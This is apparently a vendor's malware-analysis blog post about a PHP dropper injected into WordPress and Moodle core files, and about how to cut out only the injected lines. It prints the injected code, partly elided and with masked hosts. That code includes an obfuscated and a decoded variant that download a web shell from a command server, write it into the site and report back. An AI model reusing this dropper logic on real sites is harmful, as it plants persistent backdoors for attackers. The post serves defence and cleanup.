# Malware Injected Into Core Files: Why Deleting Them Breaks the Site

> A dropper campaign that injected itself into WordPress core files and every index.php of a Moodle site, up to 19 times per file. Why quarantining those files breaks the site, and how to remove only the injected code.

Source: https://www.pyxsoft.com/blog/clean-injected-core-files
Published: 2026-11-14
Tags: malware, wordpress, moodle, cleanup, injection, research

---

![A glowing PHP document on a server with a thin orange-red strip of injected code at the top being cut away by a precise beam of light, leaving the rest of the document intact](https://www.pyxsoft.com/_astro/cover.DUWNlmfk.jpg)

When people imagine an infected website, they picture a malicious file: a web shell with a strange name in `uploads/`. That kind exists, and it's the easy case: delete it, done. The harder case is a legitimate file with a few lines of someone else's code added at the top. The file is `wp-includes/comment.php` or Moodle's `index.php`, and the site doesn't work without it.

Delete or quarantine that file and the site goes down with a fatal error. Leave it and the attacker keeps their way in. The only good outcome is to remove exactly the lines that were added and keep the rest of the file byte for byte.

This post walks through a campaign that reached [Pyxsoft Labs](https://www.pyxsoft.com/anti-malware) on November 1: 31 files from two sites, a WordPress and a Moodle, all carrying the same dropper.

<!--truncate-->

## The file as we received it

Sample 1601 is `template-loader.php`, the WordPress core file that picks which theme template to show for each page. This is how it begins, in a copy of `wp-includes` found renamed as `wp-includes__b5996ca`:

```php
<?php ?><?php if(isset($_GET['p']) && $_GET['p']=='7719') {$remote_url = base64_decode('aHR0cHM6Ly81MWxhLnp2bzIueHl6L2EyLnR4dA==');$path = str_replace(str_replace('//','/',$_SERVER['PHP_SELF']), '', str_replace('\\\\','/',$_SERVER['SCRIPT_FILENAME']) );$random_dir = substr(str_shuffle("abcdefghijklmnopqrstuvwxyz0123456789"), 0, 8);$full_dir = rtrim($path,'/') . '/' . $random_dir;if(!is_dir($full_dir)) {if(!is_writable($path)) {@chmod($path, 0777);}@mkdir($full_dir, 0777, true);}$ch = curl_init(); ... echo $protocol . $domain . '/' . $random_dir . '/index.php?520';}}}die();?><?php
/**
 * Loads the correct template based on the visitor's url
 *
 * @package WordPress
 */
if ( wp_using_themes() ) {
```

One very long line, then the real file, untouched. `comment.php`, which WordPress loads on every request, carried exactly the same line.

## What the injected line does

Spread out, the line is a small dropper:

```php
if (isset($_GET['p']) && $_GET['p'] == '7719') {
    $remote_url = base64_decode('...');           // https://51la.xxxx.xyz/a2.txt
    $random_dir = substr(str_shuffle("abc...789"), 0, 8);
    @chmod($path, 0777);                           // make the web root writable
    @mkdir($full_dir, 0777, true);
    // download a2.txt with curl, save it as <random_dir>/index.php
    echo $protocol . $domain . '/' . $random_dir . '/index.php?520';
}
die();
```

Visiting any page with `?p=7719` downloads a fresh web shell into a new folder with a random eight-character name, and prints its URL so the attacker's script can record it. If one shell gets deleted, the next request plants another, in a different folder, under a different name.

Then there is the `die();`. It sits **outside** the `if`, so it runs on every request, from everybody. With this line at the top of `comment.php`, WordPress stops before it gets anywhere: every page of the site, the admin included, comes out blank. The injection had killed the site it was supposed to live on.

That makes the cleanup decision obvious, and it's the case where most tools get it wrong. Quarantining `comment.php` replaces a blank site with a fatal error: WordPress `require`s that file, and it's gone. The only fix that brings the site back is to remove the line, `die()` included, and leave everything after it.

## The Moodle site: one injection per visit

The other 27 files came from a Moodle site: the `index.php` of 24 of its folders (`login/`, `course/`, `user/`, `calendar/`, `grade/`, the root…) and of three folders with numeric names that Moodle doesn't have. Here the injection is wrapped in a classic obfuscator, one line per copy:

```php
<?php
$O00OO_0_O_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O000OOO___=$O00OO_0_O_{38}.$O00OO_0_O_{12}...
$O00OO_0_O_=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O000OOO___=$O00OO_0_O_{38}.$O00OO_0_O_{12}...
...
// This file is part of Moodle - http://moodle.org/
```

`tag/index.php` (sample 1571) starts with **ten** of those lines, about 7 KB each, on top of a 4.5 KB Moodle file: 76,144 bytes in total, 94% of it injected. Across those files, most carry 9 or 10 copies, and one carries 19. Each copy is a full injection, added on top of the previous ones.

Decoded with our [PHP deobfuscator](https://www.pyxsoft.com/tools/php-deobfuscator), one line reads:

```php
$O_0_O_OO00['path'] = str_replace(..., $_SERVER['SCRIPT_FILENAME']);
$O_0_O_OO00['domain'] = $GLOBALS['OO0O0__O0_']();
$O_0_O_OO00['shell_link'] = 'https://jardin*****.cl/8700fbf6/about.php?520';
if (isset($_GET['del']) && $_GET['del'] == "my_code") {
    // remove itself from index.php
}
$O0O_0_O0_O = $O_0_O_OO00['path'] . '/admin.php';
$OO0O0O0___ = @$GLOBALS['OOO_O00_0_']('https://51la.xxx.xyz/f.txt');
$OO0O0O0___ = @file_put_contents($O0O_0_O0_O, $OO0O0O0___);
...
$OO_0O00O__ = sprintf('https://51la.xxxx.xyz/?d=%s', base64_encode(serialize($O_0_O_OO00)));
$O__OO0O00_ = $GLOBALS['OOO_O00_0_']($OO_0O00O__);
if ($O__OO0O00_ == "done") {
    // remove itself from index.php
}
```

This variant doesn't wait for a password in the URL. On every visit it downloads a web shell to `admin.php` in the site's root, reports the site's address and the shell's URL to the command server, and **removes itself** from `index.php` once the server answers `done`. It's built to leave as little behind as possible. The stacked copies suggest the cleanup step didn't always get its answer, or that the site kept getting re-injected faster than the dropper removed itself.

`shell_link` points to a shell on a third, unrelated site, which is how these campaigns keep an inventory of the servers they control.

## Not every file is a victim

One of the 31 files is different: `wp-includes/index.php` (sample 1597), which contains the injection and nothing else. WordPress has no `index.php` in `wp-includes`. The attacker created that file, so deleting or quarantining it is correct, and nothing breaks.

That's the first question for each detection: **is this a file the site needs, or one the attacker added?** For WordPress, WP-CLI answers it for the core in seconds:

```bash
cd /home/user/public_html
wp core verify-checksums
```

It lists core files that don't match the official release, and files that shouldn't exist at all. For Moodle, Joomla or anything else, compare with a clean copy of the same version (`diff -rq clean/ public_html/`).

## Option 1: replace the core files

For WordPress core, the cleanest fix is to replace it with an official copy of the same version, without touching `wp-content` or `wp-config.php`:

```bash
wp core download --version=$(wp core version) --skip-content --force
```

That fixes `wp-admin` and `wp-includes`. It doesn't fix injections in themes, plugins, `wp-config.php` or the root `index.php`, and it doesn't help with applications that have no such tool, like a Moodle site with the injection in 27 `index.php` files across its folders.

## Option 2: remove only the injected code

Removing the injection by hand looks easy in the examples above: the injected code sits at the top. In practice there are four problems:

- **The boundary isn't always a line.** In the WordPress files, the injection and the real file are separated by `?><?php` in the middle of the first line. Deleting "the first line" leaves `?><?php` dangling, or takes `/**` with it.
- **The copies aren't identical.** The ten lines in the Moodle file carry different command servers, so a regular expression written for one misses the next.
- **Sometimes the injection is in the middle.** Other families inject into a function body, define a helper at the end of the file and call it from the start, or register a callback by name.
- **A removal that leaves broken PHP takes the site down too,** and does it on every page.

So Anti Malware doesn't clean with text patterns. It parses the file into PHP statements, takes the statements that match the detection, together with anything only they use, and removes those whole. Then it checks that the result still parses and scans the result again. If something is still detected, it removes that too, and repeats until the file is clean. If the remaining code still depends on what was removed, it doesn't clean the file and sends it to quarantine instead, since the cut can't be made safely.

On these samples:

| File | Before | After | Injections removed |
|---|---:|---:|---:|
| Moodle `tag/index.php` (1571) | 76,144 bytes | 4,576 bytes | 10 |
| WordPress `comment.php` (1595) | 127,184 bytes | 126,140 bytes | 1, including the `die()` |
| WordPress `template-loader.php` (1601) | 4,064 bytes | 3,020 bytes | 1, including the `die()` |
| `wp-includes/index.php` (1597) | 7,156 bytes | — | the whole file is injected: quarantine |

In every cleaned file, everything after the injection is identical to the original, byte for byte, and `php -l` finds no syntax errors. The cleaned `template-loader.php` begins:

```php
<?php ?><?php
/**
 * Loads the correct template based on the visitor's url
 *
 * @package WordPress
 */
```

Anti Malware keeps the original of every file it cleans, encrypted like the quarantine, and the panel shows the exact code it removed. If a clean ever removes too much, **Undo** puts the original back.

## Cleaning the file isn't cleaning the site

A dropper's job is to plant other files, so removing the injection only closes the door it used. After any cleanup like this one:

1. **Look for what it planted.** Here, that means eight-character random folders with an `index.php` inside, and an `admin.php` in the web root that isn't yours:

   ```bash
   find /home/*/public_html -maxdepth 2 -type d -regextype egrep -regex '.*/[a-z0-9]{8}' -mtime -60 -ls 2>/dev/null
   find /home/*/public_html -maxdepth 1 -name admin.php -ls
   ```

2. **Check permissions.** The dropper sets the web root to `0777` when it can't write to it. Put it back to `0750` (cPanel) or `0755`.
3. **Find how it got in.** Thirty injected files across two applications don't come from one bad plugin download. Someone had write access to the account. [Why sites get reinfected after cleaning](https://www.pyxsoft.com/blog/why-sites-get-reinfected-after-cleaning) covers what to look for.

Anti Malware cleans injections on its own when Auto Clean is on, in real time and in scheduled scans, and quarantines what is entirely malware. You can [try it free for 7 days](https://www.pyxsoft.com/anti-malware) on cPanel, DirectAdmin or a server with no panel.
